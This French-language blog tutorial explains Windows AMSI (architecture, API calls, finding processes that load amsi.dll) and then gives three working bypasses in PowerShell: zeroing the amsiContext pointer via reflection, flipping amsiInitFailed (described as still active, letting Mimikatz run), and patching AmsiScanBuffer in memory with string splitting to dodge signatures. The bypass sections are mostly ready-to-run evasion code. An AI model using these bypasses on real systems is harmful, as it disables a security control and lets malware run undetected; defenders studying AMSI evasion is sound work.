<index> / <windows-internals> / amsi
[ en | fr ]
┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
Bypass AMSI
~ lululufr
SOMMAIRE
  0  méthodes de détection des malwares
  1  qu'est-ce qu'amsi
  2  flux d'exécution d'amsi
  3  composants pris en charge
  4  api amsi — les fonctions
  5  identifier les processus utilisant amsi
  6  le bypass — casser la chaîne
  7  bypass 1 — corruption d'amsicontext (patché)
  8  bypass 2 — amsiinitfailed (actif)
  9  bypass 3 — patch d'amsiscanbuffer

──[ 0. Méthodes de Détection des Malwares ]──

Les éditeurs empilent quelques couches de détection :
    Signature        Hash d'un binaire connu malveillant contre une base.
    Statique         Pattern matching sur strings, blobs encodés, séquences d'oc
tets.
    Dynamique        Comportement à l'exécution — calc.exe qui spawn cmd.exe, ce
 genre de choses.
    Machine learning Détection d'anomalies sur une baseline apprise. Standard da
ns les EDR modernes.

──[ 1. Qu'est-ce qu'AMSI ]──

AMSI (Anti-Malware Scan Interface), c'est l'API Windows qui permet aux produits 
de sécurité d'inspecter le contenu des scripts et buffers avant qu'ils ne
s'exécutent. Sortie avec Windows 10. L'interface est générique : n'importe quoi peut appeler AMSI, n'importe qui peut
s'enregistrer comme provider.
flowchart LR
    A[PowerShell / WSH / .NET / VBA] --> B[API AMSI]
    B --> C[Provider AMSI\nWindows Defender / EDR]
    C --> D{Résultat}
    D -->|CLEAN| E[Exécution]
    D -->|DETECTED| F[Blocage]
Vue d'ensemble de l'architecture AMSI
L'intérêt c'est qu'AMSI voit les buffers, pas seulement les fichiers sur disque. 
C'est ce qui le rend efficace contre les payloads fileless et obfusqués.
──[ 2. Flux d'Exécution d'AMSI ]──

    1. Quelque chose demande un scan (ex. une commande PowerShell qui va s'exécu
ter).
    2. La requête part vers le provider AMSI enregistré.
    3. Le provider applique sa logique de détection.
    4. Le résultat revient, l'appelant décide : autoriser ou bloquer.

──[ 3. Composants Pris en Charge ]──

AMSI est branché sur :
    PowerShell (v3.0+)
    Windows Script Host (wscript.exe, cscript.exe)
    JavaScript / VBScript
    Macros VBA (Office)
    .NET Framework 4.8+
    WMI

──[ 4. API AMSI — Les Fonctions ]──

Init
    AmsiInitialize(APP_NAME, &amsiContext)
        Renvoie le handle HAMSICONTEXT dont tous les appels suivants ont besoin.

    AmsiOpenSession(amsiContext, &session)
        Ouvre une session pour corréler plusieurs scans — utile quand un
        payload arrive en morceaux sur plusieurs commandes.

Scan
    AmsiScanBuffer(amsiContext, buf, size, name, session, &result)
        Envoie un buffer mémoire au provider. On récupère l'un de :

        AMSI_RESULT_CLEAN            (0)      rien trouvé
        AMSI_RESULT_NOT_DETECTED     (1)      pas flaggé
        AMSI_RESULT_BLOCKED_BY_ADMIN (16384–20479) politique admin
        AMSI_RESULT_DETECTED         (32768)  menace

L'appelant prend ce résultat et fait ce qu'il veut avec.
──[ 5. Identifier les Processus Utilisant AMSI ]──

Lister les processus qui ont chargé amsi.dll :
    tasklist /m amsi*
Sortie de tasklist /m amsi
Seuls les processus en cours sortent — c'est de la lecture en mémoire.

Quel provider de sécurité est enregistré :
    Get-WmiObject -Namespace "root\securitycenter2" `
        -Class AntivirusProduct |
        Select-Object DisplayName, PathToSignedProductExe, ProductState
Provider antivirus enregistré
──[ 6. Le Bypass — Casser la Chaîne ]──

Tous les bypass AMSI cassent le lien entre l'API et le provider. La structure 
HAMSICONTEXT est partagée par tous les appels AMSI — on la corrompt, et tous les
scans suivants échouent en silence. AMSI est mort pour le processus. Microsoft n'a pas publié le layout de HAMSICONTEXT, mais des chercheurs l'ont
reversé. Le premier DWORD est un magic header (0x49534D41, "AMSI"), et il y a un
champ amsiInitFailed dedans aussi.
──[ 7. Bypass 1 — Corruption d'AmsiContext (PATCHÉ) ]──

On utilise la réflexion .NET pour trouver le pointeur interne amsiContext dans 
la classe AmsiUtils de PowerShell, puis on le zéroïse.
    $fields = [Ref].Assembly.GetType(
        'System.Management.Automation.AmsiUtils'
    ).GetFields('NonPublic,Static')

    $amsiContext = $fields | Where-Object { $_ -like "*Context" }

    [IntPtr]$ptr = $amsiContext.GetValue($null)

    [Int32[]]$empty = @(0)
    [System.Runtime.InteropServices.Marshal]::Copy($empty, 0, $ptr, 1)
AmsiUtils — sortie de la réflexion GetFields
Ligne par ligne :
    1. [Ref].Assembly te donne l'assembly courante par réflexion — on saute
       les règles de visibilité normales.
    2. GetType() récupère la classe interne AmsiUtils.
    3. GetFields('NonPublic,Static') va chercher les champs privés. La
       réflexion se moque des modificateurs d'accès OOP.
GetFields — champs privés statiques listés
4. Wildcard "*Context" plutôt que la string "amsiContext" en dur —
       cette string est elle-même flaggée par certains providers.
Filtre *Context — champ amsiContext isolé
5. GetValue($null) te file le pointeur brut vers HAMSICONTEXT.
IntPtr — pointeur HAMSICONTEXT brut
6. Marshal::Copy écrase le premier octet. Le magic header meurt, tous
       les scans renvoient une erreur silencieusement ignorée.
Adresse du pointeur HAMSICONTEXT
Buffer HAMSICONTEXT avant corruption
Buffer HAMSICONTEXT après corruption (mis à zéro)
Un octet suffit : le magic cassé fait que AmsiScanBuffer erreur avant de scanner 
quoi que ce soit. Patché dans les builds récents de Windows.
──[ 8. Bypass 2 — amsiInitFailed (ACTIF) ]──

Plus simple : flip amsiInitFailed à true. AMSI fait comme si l'init avait 
échoué, plus aucun scan n'est tenté.
    $field = [Ref].Assembly.GetType(
        'System.Management.Automation.AmsiUtils'
    ).GetFields('NonPublic,Static') |
        Where-Object { $_.Name -like "amsiInitFailed" }

    $field.SetValue($null, $true)
Résultat : Mimikatz et compagnie, bloqués par AMSI avant ce bypass, tournent 
sans rien après.
bypass amsiInitFailed — AMSI désactivé pour le processus
──[ 9. Bypass 3 — Patch d'AmsiScanBuffer ]──

Plus bas niveau : on patche AmsiScanBuffer en mémoire pour qu'elle retourne 
E_INVALIDARG (0x80070057) direct, sans jamais appeler le provider.
    // C# inline compilé à l'exécution
    [DllImport("kernel32")] LoadLibrary(string)
    [DllImport("kernel32")] GetProcAddress(IntPtr, string)
    [DllImport("kernel32")] VirtualProtect(IntPtr, UIntPtr, uint, out uint)

    $lib  = [Win32]::LoadLibrary("am" + "si.dll")       // string obfusquée
    $addr = [Win32]::GetProcAddress($lib, "Amsi"+"Scan"+"Buffer")

    // Marque la page RWX pour pouvoir écrire dedans
    [Win32]::VirtualProtect($addr, 5, 0x40, [ref]$p)

    // Octets du patch :
    //   B8 57 00 07 80  -> MOV EAX, 0x80070057  (E_INVALIDARG)
    //   C3              -> RET
    $patch = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
    [Marshal]::Copy($patch, 0, $addr, 6)
Le découpage "am"+"si.dll" c'est juste pour éviter la détection par signature du 
nom de la DLL. Le patch remplace le prologue par "retourne une erreur" — chaque
appel de scan crève proprement.